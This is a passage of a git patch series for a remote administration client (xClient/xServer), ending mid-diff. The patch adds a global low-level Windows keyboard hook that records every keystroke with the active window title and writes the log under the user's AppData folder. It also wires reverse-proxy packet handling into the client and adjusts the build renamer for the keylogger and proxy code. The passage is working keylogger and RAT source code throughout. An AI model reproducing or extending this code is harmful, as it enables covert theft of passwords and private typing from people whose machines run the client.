From 69c95769a6d51756b71a5b00ba4165d48a9fc225 Mon Sep 17 00:00:00 2001 From: d3agle Date: Sat, 16 May 2015 23:07:17 -0500 Subject: [PATCH 1/2] initial keylogger hook --- Client/Core/Keylogger/KeyloggerHelpers.cs | 32 ++++- Client/Core/Keylogger/KeyloggerKeys.cs | 32 +++-- Client/Core/Keylogger/Logger.cs | 163 +++++++++++++++------- Client/Core/Keylogger/Win32.cs | 19 ++- Client/Program.cs | 16 ++- Server/Core/Build/Renamer.cs | 11 +- 6 files changed, 192 insertions(+), 81 deletions(-) diff --git a/Client/Core/Keylogger/KeyloggerHelpers.cs b/Client/Core/Keylogger/KeyloggerHelpers.cs index 3eca2ec7..2b614504 100644 --- a/Client/Core/Keylogger/KeyloggerHelpers.cs +++ b/Client/Core/Keylogger/KeyloggerHelpers.cs @@ -4,6 +4,7 @@ using System.Text; using System.Reflection; using xClient.Core.Keylogger; using System.Runtime.CompilerServices; +using System.Windows.Forms; namespace xClient.Core.Keylogger { @@ -92,17 +93,34 @@ namespace xClient.Core.Keylogger /// True if key is pressed; False if the key is not. public static bool IsKeyPressed(this short sender) { - return (sender & 0x8000) == 0x8000; + return (sender & 0x8000) != 0; } /// - /// Determines if the key code provided is in a toggled state. + /// Determines if the number lock key code provided is in a toggled state. /// - /// The code for the key. /// True if toggled on; False if toggled off. - public static bool IsKeyToggled(this short sender) + public static bool NumLockToggled() { - return (sender & 0xffff) == 0xffff; + return Control.IsKeyLocked(Keys.NumLock); + } + + /// + /// Determines if the scroll lock key code provided is in a toggled state. + /// + /// True if toggled on; False if toggled off. + public static bool ScrollLockToggled() + { + return Control.IsKeyLocked(Keys.Scroll); + } + + /// + /// Determines if the caps lock key code provided is in a toggled state. + /// + /// True if toggled on; False if toggled off. + public static bool CapsLockToggled() + { + return Control.IsKeyLocked(Keys.CapsLock); } public static string BuildString(this KeyloggerModifierKeys sender) @@ -118,14 +136,14 @@ namespace xClient.Core.Keylogger string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName(); if (!string.IsNullOrEmpty(CtrlName)) - BuiltModifierKeys.Append(CtrlName + " +"); + BuiltModifierKeys.Append(CtrlName + " + "); } if (sender.AltKeyPressed) { string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName(); if (!string.IsNullOrEmpty(AltName)) - BuiltModifierKeys.Append(" " + AltName + " +"); + BuiltModifierKeys.Append(AltName + " + "); } return BuiltModifierKeys.ToString(); diff --git a/Client/Core/Keylogger/KeyloggerKeys.cs b/Client/Core/Keylogger/KeyloggerKeys.cs index 05547efb..babf5479 100644 --- a/Client/Core/Keylogger/KeyloggerKeys.cs +++ b/Client/Core/Keylogger/KeyloggerKeys.cs @@ -56,19 +56,27 @@ namespace xClient.Core.Keylogger { // Modifier keys that are pressed: CtrlKeyPressed = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CONTROL).IsKeyPressed(), + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_CONTROL).IsKeyPressed() || + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_LCONTROL).IsKeyPressed() || + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_RCONTROL).IsKeyPressed(), AltKeyPressed = Win32.GetAsyncKeyState(KeyloggerKeys.VK_MENU).IsKeyPressed(), + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_MENU).IsKeyPressed() || + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_LMENU).IsKeyPressed() || + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_RMENU).IsKeyPressed(), ShiftKeyPressed = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SHIFT).IsKeyPressed(), + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_SHIFT).IsKeyPressed() || + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_LSHIFT).IsKeyPressed() || + //Win32.GetAsyncKeyState(KeyloggerKeys.VK_RSHIFT).IsKeyPressed(), // Modifier keys that have a state (toggle 'on' or 'off'). - CapsLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CAPITAL).IsKeyToggled(), - NumLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_NUMLOCK).IsKeyToggled(), - ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled() + CapsLock = KeyloggerHelpers.CapsLockToggled(), + NumLock = KeyloggerHelpers.NumLockToggled(), + ScrollLock = KeyloggerHelpers.ScrollLockToggled() }; // To avoid having to repeatedly check if one of the modifier // keys (besides shift and caps lock) was set, just simply // decide and then store it right here. - ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed || - ModifierKeys.NumLock || ModifierKeys.ScrollLock); + ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed); } } @@ -178,7 +186,7 @@ namespace xClient.Core.Keylogger /// /// SPACEBAR key. /// - [KeyloggerKey("SPACE", true)] + [KeyloggerKey(" ")] VK_SPACE = 0x20, /// @@ -793,37 +801,37 @@ namespace xClient.Core.Keylogger /// /// Left SHIFT key. /// - [KeyloggerKey("LSHIFT", true)] + [KeyloggerKey("SHIFT", true)] VK_LSHIFT = 0xA0, /// /// Right SHIFT key. /// - [KeyloggerKey("RSHIFT", true)] + [KeyloggerKey("SHIFT", true)] VK_RSHIFT = 0xA1, /// /// Left CONTROL (CTRL) key. /// - [KeyloggerKey("LCTRL", true)] + [KeyloggerKey("CTRL", true)] VK_LCONTROL = 0xA2, /// /// Right CONTROL (CTRL) key. /// - [KeyloggerKey("RCTRL", true)] + [KeyloggerKey("CTRL", true)] VK_RCONTROL = 0xA3, /// /// Left MENU key. /// - [KeyloggerKey("LALT", true)] + [KeyloggerKey("ALT", true)] VK_LMENU = 0xA4, /// /// Right MENU key. /// - [KeyloggerKey("RALT", true)] + [KeyloggerKey("ALT", true)] VK_RMENU = 0xA5, /// diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index f01c166d..a35a5c2b 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -1,11 +1,9 @@ using System; using System.Collections.Generic; using System.IO; -using System.Runtime.InteropServices; using System.Text; -using System.Threading; using System.Windows.Forms; -using xClient.Core.Keylogger; +using System.Diagnostics; namespace xClient.Core.Keylogger { @@ -13,13 +11,11 @@ namespace xClient.Core.Keylogger { public static Logger Instance; + private bool IsEnabled = false; public bool Enabled { - get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; } - set - { - _timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value; - } + get { return this.IsEnabled; } + set { SetHook(value); } } private StringBuilder _logFileBuffer; @@ -31,15 +27,34 @@ namespace xClient.Core.Keylogger private readonly KeyloggerKeys[] _allKeys; private readonly KeyloggerKeys[] _specialKeys; + private readonly List _keysDown = new List(); private volatile List _keyBuffer; - private readonly System.Timers.Timer _timerLogKeys; private readonly System.Timers.Timer _timerEmptyKeyBuffer; private readonly System.Timers.Timer _timerFlush; + public struct KeyData + { + public int vkCode; + public int scanCode; + public int flags; + public int time; + public int dwExtraInfo; + } + + private const int WM_KEYDOWN = 0x100; + private const int WM_KEYUP = 0x101; + private const int WM_SYSKEYDOWN = 0x104; + private const int WM_SYSKEYUP = 0x105; + private const int WH_KEYBOARD_LL = 13; + + public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam); + private HookProcDelegate _hook; + + private IntPtr _hookHandle; + /// /// Creates the logging class that provides keylogging functionality. /// - /// The interval, in milliseconds, to flush the contents of the keylogger to the file. public Logger(double flushInterval) { Instance = this; @@ -52,9 +67,6 @@ namespace xClient.Core.Keylogger _keyBuffer = new List(); - this._timerLogKeys = new System.Timers.Timer { Enabled = false, Interval = 10 }; - this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed; - this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 }; this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed; @@ -137,6 +149,76 @@ namespace xClient.Core.Keylogger } } + private int HookProc(int nCode, int wParam, ref KeyData lParam) + { + if (nCode >= 0) + { + KeyloggerKeys key = (KeyloggerKeys) lParam.vkCode; + + if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) + { + _keysDown.RemoveAll(k => k == key); + } + + if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) + { + if (!_keysDown.Contains(key)) + { + try + { + LoggedKey KeyToLog = new LoggedKey() + { + PressedKey = key + }; + KeyToLog.RecordModifierKeys(); + + _keyBuffer.Add(KeyToLog); + _hWndTitle = GetActiveWindowTitle(); //Get active thread window title + + if (!string.IsNullOrEmpty(_hWndTitle)) + { + // Only write the title to the log file if the names are different. + if (_hWndTitle != _hWndLastTitle) + { + _hWndLastTitle = _hWndTitle; + _logFileBuffer.Append("

[" + _hWndTitle + "]
"); + } + } + } + catch + { + } + + _keysDown.Add(key); + } + } + } + + return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam); + } + + private void SetHook(bool enable) + { + switch (enable) + { + case true: + _hook = new HookProcDelegate(HookProc); + _hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0); + //hook installed, enabled + _timerFlush.Enabled = true; + _timerEmptyKeyBuffer.Enabled = true; + IsEnabled = true; + Application.Run(); + Win32.UnhookWindowsHookEx(_hookHandle); + break; + case false: + _timerFlush.Enabled = false; + _timerEmptyKeyBuffer.Enabled = false; + Application.ExitThread(); + break; + } + } + private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { int j = 0; @@ -208,40 +290,6 @@ namespace xClient.Core.Keylogger } } - private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e) - { - // Loop through each value in the array of keys to record. - foreach (byte i in _allKeys) - { - // GetAsycKeyState returns the result by setting the most significant - // bit if the key is up, and sets the least significant bit if the - // key was pressed. - if (Win32.GetAsyncKeyState(i) == -32767) - { - try - { - LoggedKey KeyToLog = new LoggedKey() { PressedKey = (KeyloggerKeys)i }; - KeyToLog.RecordModifierKeys(); - - _keyBuffer.Add(KeyToLog); - _hWndTitle = GetActiveWindowTitle(); //Get active thread window title - - if (!string.IsNullOrEmpty(_hWndTitle)) - { - // Only write the title to the log file if the names are different. - if (_hWndTitle != _hWndLastTitle) - { - _hWndLastTitle = _hWndTitle; - _logFileBuffer.Append("

[" + _hWndTitle + "]
"); - } - } - } - catch - { } - } - } - } - private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { if (_logFileBuffer.Length > 0) @@ -318,14 +366,23 @@ namespace xClient.Core.Keylogger //The keys we are interested in are modifier keys such as shift and caps lock byte[] keyStates = new byte[256]; - keyStates[(int)KeyloggerKeys.VK_SHIFT] = (key.ModifierKeys.ShiftKeyPressed && AllowCapitalization) ? (byte)128 : (byte)0; - keyStates[(int)KeyloggerKeys.VK_CAPITAL] = (key.ModifierKeys.CapsLock && AllowCapitalization) ? (byte)128 : (byte)0; + if (key.ModifierKeys.ShiftKeyPressed && AllowCapitalization) + keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80; - keyStates[(int)KeyloggerKeys.VK_MENU] = key.ModifierKeys.CtrlKeyPressed ? (byte)128 : (byte)0; - keyStates[(int)KeyloggerKeys.VK_CONTROL] = key.ModifierKeys.AltKeyPressed ? (byte)128 : (byte)0; + if (key.ModifierKeys.CtrlKeyPressed) + keyStates[(int)KeyloggerKeys.VK_CONTROL] = 0x80; - keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = key.ModifierKeys.NumLock ? (byte)128 : (byte)0; - keyStates[(int)KeyloggerKeys.VK_SCROLL] = key.ModifierKeys.ScrollLock ? (byte)128 : (byte)0; + if (key.ModifierKeys.AltKeyPressed) + keyStates[(int)KeyloggerKeys.VK_MENU] = 0x80; + + if (key.ModifierKeys.CapsLock && AllowCapitalization) + keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01; + + if (key.ModifierKeys.NumLock) + keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01; + + if (key.ModifierKeys.ScrollLock) + keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01; var sb = new StringBuilder(10); diff --git a/Client/Core/Keylogger/Win32.cs b/Client/Core/Keylogger/Win32.cs index f8eb5309..c3571119 100644 --- a/Client/Core/Keylogger/Win32.cs +++ b/Client/Core/Keylogger/Win32.cs @@ -1,10 +1,6 @@ using System; -using System.Collections.Generic; -using System.IO; using System.Runtime.InteropServices; using System.Text; -using System.Threading; -using System.Windows.Forms; namespace xClient.Core.Keylogger { @@ -49,5 +45,20 @@ namespace xClient.Core.Keylogger [DllImport("user32.dll", ExactSpelling = true)] internal static extern IntPtr GetKeyboardLayout(uint threadId); + + [DllImport("kernel32.dll")] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] + internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID); + + [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] + internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle); + + [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] + internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + internal static extern IntPtr GetModuleHandle(string lpModuleName); } } \ No newline at end of file diff --git a/Client/Program.cs b/Client/Program.cs index 7794adaa..cff2efe7 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -7,6 +7,7 @@ using xClient.Core; using xClient.Core.Commands; using xClient.Core.Keylogger; using xClient.Core.Packets; +using xClient.Core.ReverseProxy; namespace System.Runtime.CompilerServices { @@ -98,7 +99,11 @@ namespace xClient typeof (Core.Packets.ClientPackets.MonitorsResponse), typeof (Core.Packets.ClientPackets.ShellCommandResponse), typeof (Core.Packets.ClientPackets.GetStartupItemsResponse), - typeof (Core.Packets.ClientPackets.GetLogsResponse) + typeof (Core.Packets.ClientPackets.GetLogsResponse), + typeof (Core.ReverseProxy.Packets.ReverseProxyConnect), + typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse), + typeof (Core.ReverseProxy.Packets.ReverseProxyData), + typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect) }); ConnectClient.ClientState += ClientState; @@ -330,7 +335,14 @@ namespace xClient } else if (type == typeof(Core.Packets.ServerPackets.GetLogs)) { - CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs) packet, client); + CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client); + } + else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnect) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) || + type == typeof(Core.ReverseProxy.Packets.ReverseProxyDisconnect)) + { + ReverseProxyCommandHandler.HandleCommand(client, packet); } } } diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs index 5ee961f7..4d5ea7ae 100644 --- a/Server/Core/Build/Renamer.cs +++ b/Server/Core/Build/Renamer.cs @@ -58,9 +58,14 @@ namespace xServer.Core.Build private void RenameInType(TypeDefinition typeDef) { - if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") || - typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" || - typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf")) + if (typeDef.Namespace.StartsWith("My") + || typeDef.Namespace.StartsWith("xClient.Core.Packets") + || typeDef.Namespace == "xClient.Core" + || typeDef.Namespace == "xClient.Core.Elevation" + || typeDef.Namespace == "xClient.Core.Compression" + || typeDef.Namespace.StartsWith("ProtoBuf") + || typeDef.Namespace.Contains("xClient.Core.ReverseProxy") + || typeDef.Namespace.Contains("xClient.Core.Keylogger")) return; TypeOverloader.GiveName(typeDef); From 12ed28267d01837bb2458cccd71eca894b4d9ef2 Mon Sep 17 00:00:00 2001 From: d3agle Date: Tue, 19 May 2015 03:19:09 -0500 Subject: [PATCH 2/2] Keylogger hook implementation - barebones --- Client/Core/Keylogger/KeyloggerHelpers.cs | 39 ++-- Client/Core/Keylogger/KeyloggerKeys.cs | 24 +- Client/Core/Keylogger/Logger.cs | 269 +++++++--------------- Client/Program.cs | 12 - 4 files changed, 107 insertions(+), 237 deletions(-) diff --git a/Client/Core/Keylogger/KeyloggerHelpers.cs b/Client/Core/Keylogger/KeyloggerHelpers.cs index 2b614504..e53baa3d 100644 --- a/Client/Core/Keylogger/KeyloggerHelpers.cs +++ b/Client/Core/Keylogger/KeyloggerHelpers.cs @@ -97,30 +97,13 @@ namespace xClient.Core.Keylogger } /// - /// Determines if the number lock key code provided is in a toggled state. + /// Determines if the key code provided is in a toggled state. /// + /// The code for the key. /// True if toggled on; False if toggled off. - public static bool NumLockToggled() + public static bool IsKeyToggled(this short sender) { - return Control.IsKeyLocked(Keys.NumLock); - } - - /// - /// Determines if the scroll lock key code provided is in a toggled state. - /// - /// True if toggled on; False if toggled off. - public static bool ScrollLockToggled() - { - return Control.IsKeyLocked(Keys.Scroll); - } - - /// - /// Determines if the caps lock key code provided is in a toggled state. - /// - /// True if toggled on; False if toggled off. - public static bool CapsLockToggled() - { - return Control.IsKeyLocked(Keys.CapsLock); + return (sender & 0x0001) != 0; } public static string BuildString(this KeyloggerModifierKeys sender) @@ -145,6 +128,20 @@ namespace xClient.Core.Keylogger if (!string.IsNullOrEmpty(AltName)) BuiltModifierKeys.Append(AltName + " + "); } + if (sender.ShiftKeyPressed) + { + string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(ShiftName)) + BuiltModifierKeys.Append(ShiftName + " + "); + } + if (sender.WindowsKeyPressed) + { + string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(WinName)) + BuiltModifierKeys.Append(WinName + " + "); + } return BuiltModifierKeys.ToString(); } diff --git a/Client/Core/Keylogger/KeyloggerKeys.cs b/Client/Core/Keylogger/KeyloggerKeys.cs index babf5479..151f3802 100644 --- a/Client/Core/Keylogger/KeyloggerKeys.cs +++ b/Client/Core/Keylogger/KeyloggerKeys.cs @@ -20,10 +20,10 @@ namespace xClient.Core.Keylogger public bool ShiftKeyPressed { get; set; } public bool AltKeyPressed { get; set; } public bool CtrlKeyPressed { get; set; } - public bool CapsLock { get; set; } public bool NumLock { get; set; } public bool ScrollLock { get; set; } + public bool WindowsKeyPressed { get; set; } } /// @@ -36,10 +36,12 @@ namespace xClient.Core.Keylogger /// Gets the key that was pressed. /// public KeyloggerKeys PressedKey { get; set; } + /// /// An object with the purpose of storing the states of modifier keys. /// public KeyloggerModifierKeys ModifierKeys { get; private set; } + /// /// Determines if one of the modifier keys (excluding shift and caps /// lock) has been set. @@ -56,27 +58,21 @@ namespace xClient.Core.Keylogger { // Modifier keys that are pressed: CtrlKeyPressed = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CONTROL).IsKeyPressed(), - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_CONTROL).IsKeyPressed() || - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_LCONTROL).IsKeyPressed() || - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_RCONTROL).IsKeyPressed(), AltKeyPressed = Win32.GetAsyncKeyState(KeyloggerKeys.VK_MENU).IsKeyPressed(), - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_MENU).IsKeyPressed() || - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_LMENU).IsKeyPressed() || - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_RMENU).IsKeyPressed(), ShiftKeyPressed = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SHIFT).IsKeyPressed(), - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_SHIFT).IsKeyPressed() || - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_LSHIFT).IsKeyPressed() || - //Win32.GetAsyncKeyState(KeyloggerKeys.VK_RSHIFT).IsKeyPressed(), // Modifier keys that have a state (toggle 'on' or 'off'). - CapsLock = KeyloggerHelpers.CapsLockToggled(), - NumLock = KeyloggerHelpers.NumLockToggled(), - ScrollLock = KeyloggerHelpers.ScrollLockToggled() + CapsLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CAPITAL).IsKeyToggled(), + NumLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_NUMLOCK).IsKeyToggled(), + ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled(), + WindowsKeyPressed = + Win32.GetAsyncKeyState(KeyloggerKeys.VK_LWIN).IsKeyToggled() || + Win32.GetAsyncKeyState(KeyloggerKeys.VK_RWIN).IsKeyToggled() }; // To avoid having to repeatedly check if one of the modifier // keys (besides shift and caps lock) was set, just simply // decide and then store it right here. - ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed); + ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed || ModifierKeys.WindowsKeyPressed); } } diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index a35a5c2b..92e384e5 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -4,6 +4,7 @@ using System.IO; using System.Text; using System.Windows.Forms; using System.Diagnostics; +using System.Runtime.InteropServices; namespace xClient.Core.Keylogger { @@ -25,11 +26,8 @@ namespace xClient.Core.Keylogger private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; - private readonly KeyloggerKeys[] _allKeys; - private readonly KeyloggerKeys[] _specialKeys; - private readonly List _keysDown = new List(); - private volatile List _keyBuffer; - private readonly System.Timers.Timer _timerEmptyKeyBuffer; + private LoggedKey keyToLog; + private readonly List _keysDown = new List(); private readonly System.Timers.Timer _timerFlush; public struct KeyData @@ -50,7 +48,7 @@ namespace xClient.Core.Keylogger public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam); private HookProcDelegate _hook; - private IntPtr _hookHandle; + private IntPtr _hookHandle = IntPtr.Zero; /// /// Creates the logging class that provides keylogging functionality. @@ -62,81 +60,12 @@ namespace xClient.Core.Keylogger WriteFile(); - _allKeys = GetKeyloggerKeys(); - _specialKeys = GetSpecialKeys(); - - _keyBuffer = new List(); - - this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 }; - this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed; - this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval }; this._timerFlush.Elapsed += this.timerFlush_Elapsed; this._logFileBuffer = new StringBuilder(); } - /// - /// Retrieves an array of all keylogger keys that are special. - /// - /// - private KeyloggerKeys[] GetSpecialKeys() - { - List SpecialKeys = new List(); - - try - { - foreach (KeyloggerKeys key in _allKeys) - { - try - { - if (key.IsSpecialKey()) - { - SpecialKeys.Add(key); - } - } - catch - { } - } - } - catch - { } - - return SpecialKeys.ToArray(); - } - - /// - /// Retrieves an array of all keylogger keys that are supported. - /// - /// - private KeyloggerKeys[] GetKeyloggerKeys() - { - List NormalKeys = new List(); - - try - { - foreach (KeyloggerKeys key in Enum.GetValues(typeof(KeyloggerKeys))) - { - try - { - // Must be supported (have a string representation of the key). - if (!string.IsNullOrEmpty(key.GetKeyloggerKeyName())) - { - NormalKeys.Add(key); - } - } - catch - { } - } - - return NormalKeys.ToArray(); - } - catch - { - return new KeyloggerKeys[0]; - } - } - private string HighlightSpecialKey(string name) { if (!string.IsNullOrEmpty(name)) @@ -153,44 +82,82 @@ namespace xClient.Core.Keylogger { if (nCode >= 0) { - KeyloggerKeys key = (KeyloggerKeys) lParam.vkCode; - - if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) + switch (wParam) { - _keysDown.RemoveAll(k => k == key); - } + case WM_KEYDOWN: + case WM_SYSKEYDOWN: + //TODO - handle modifier keys in a better way + // + // If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a] + // perhaps some sort of filter? + keyToLog = new LoggedKey(); + keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode; - if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) - { - if (!_keysDown.Contains(key)) - { - try + if (!_keysDown.Contains(keyToLog)) { - LoggedKey KeyToLog = new LoggedKey() + try { - PressedKey = key - }; - KeyToLog.RecordModifierKeys(); - - _keyBuffer.Add(KeyToLog); - _hWndTitle = GetActiveWindowTitle(); //Get active thread window title - - if (!string.IsNullOrEmpty(_hWndTitle)) - { - // Only write the title to the log file if the names are different. - if (_hWndTitle != _hWndLastTitle) + _hWndTitle = GetActiveWindowTitle(); //Get active thread window title + if (!string.IsNullOrEmpty(_hWndTitle)) { - _hWndLastTitle = _hWndTitle; - _logFileBuffer.Append("

[" + _hWndTitle + "]
"); + // Only write the title to the log file if the names are different. + if (_hWndTitle != _hWndLastTitle) + { + _hWndLastTitle = _hWndTitle; + _logFileBuffer.Append("

[" + _hWndTitle + "]
"); + } + } + + if (keyToLog.ModifierKeysSet) + { + if (keyToLog.PressedKey.IsSpecialKey()) + { + // The returned string could be empty. If it is, ignore it + // because we don't know how to handle that special key. + // The key would be considered unsupported. + string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(pressedKey)) + { + _logFileBuffer.Append(HighlightSpecialKey(pressedKey)); + } + } + else + { + // The pressed key is not special, but we have encountered + // a situation of multiple key presses, so just build them. + _logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() + + FromKeys(keyToLog))); + } + } + else + { + if (keyToLog.PressedKey.IsSpecialKey()) + { + string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName(); + + if (!string.IsNullOrEmpty(pressedKey)) + { + _logFileBuffer.Append(HighlightSpecialKey(pressedKey)); + } + } + else + { + _logFileBuffer.Append(FromKeys(keyToLog)); + } } } - } - catch - { - } + catch + { + } - _keysDown.Add(key); - } + _keysDown.Add(keyToLog); //avoid multiple keypress holding down a key + } + break; + case WM_KEYUP: + case WM_SYSKEYUP: + _keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message + break; } } @@ -206,90 +173,18 @@ namespace xClient.Core.Keylogger _hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0); //hook installed, enabled _timerFlush.Enabled = true; - _timerEmptyKeyBuffer.Enabled = true; IsEnabled = true; - Application.Run(); - Win32.UnhookWindowsHookEx(_hookHandle); + Application.Run(); //start message pump for our hook on this thread break; case false: _timerFlush.Enabled = false; - _timerEmptyKeyBuffer.Enabled = false; - Application.ExitThread(); + if (_hookHandle != IntPtr.Zero) + Win32.UnhookWindowsHookEx(_hookHandle); + Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory break; } } - private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) - { - int j = 0; - - foreach (var k in _keyBuffer) - { - try - { - // Make sure that the key that was logged is not null. - // If it is, we can safely ignore it by just making it - // stop here. - if (k != null) - { - // If any modifier key was set besides shift and caps - // lock, we will handle it differently than we would - // normal keys. - if (k.ModifierKeysSet) - { - // If the pressed key is special, it should be treated as such - // by using its provided name. - if (k.PressedKey.IsSpecialKey()) - { - // The returned string could be empty. If it is, ignore it - // because we don't know how to handle that special key. - // The key would be considered unsupported. - string pressedKey = k.PressedKey.GetKeyloggerKeyName(); - - if (!string.IsNullOrEmpty(pressedKey)) - { - _logFileBuffer.Append(HighlightSpecialKey(pressedKey)); - } - } - else - { - // The pressed key is not special, but we have encountered - // a situation of multiple key presses, so just build them. - _logFileBuffer.Append(HighlightSpecialKey(k.ModifierKeys.BuildString() + - FromKeys(k, false))); - } - } - // We don't have to worry about nearly all modifier keys... - // With the exception of the shift key and caps lock! :) - // At this point we know that shift or caps lock was the - // only pressed key. - else - { - // There is not really a need to handle if caps lock or - // shift has been handled because the way we obtain the - // value of the pressed key (that is not special) will - // use the key states and determine for us. - _logFileBuffer.Append(FromKeys(k)); - } - } - } - catch - { } - - j++; - } - - if (j > 0 && j <= _keyBuffer.Count) - { - try - { - _keyBuffer.RemoveRange(0, j); - } - catch - { } - } - } - private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { if (_logFileBuffer.Length > 0) @@ -360,22 +255,16 @@ namespace xClient.Core.Keylogger return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid)); } - private char? FromKeys(LoggedKey key, bool AllowCapitalization = true) + private char? FromKeys(LoggedKey key) { //keyStates is a byte array that specifies the current state of the keyboard and keys //The keys we are interested in are modifier keys such as shift and caps lock byte[] keyStates = new byte[256]; - if (key.ModifierKeys.ShiftKeyPressed && AllowCapitalization) + if (key.ModifierKeys.ShiftKeyPressed) keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80; - if (key.ModifierKeys.CtrlKeyPressed) - 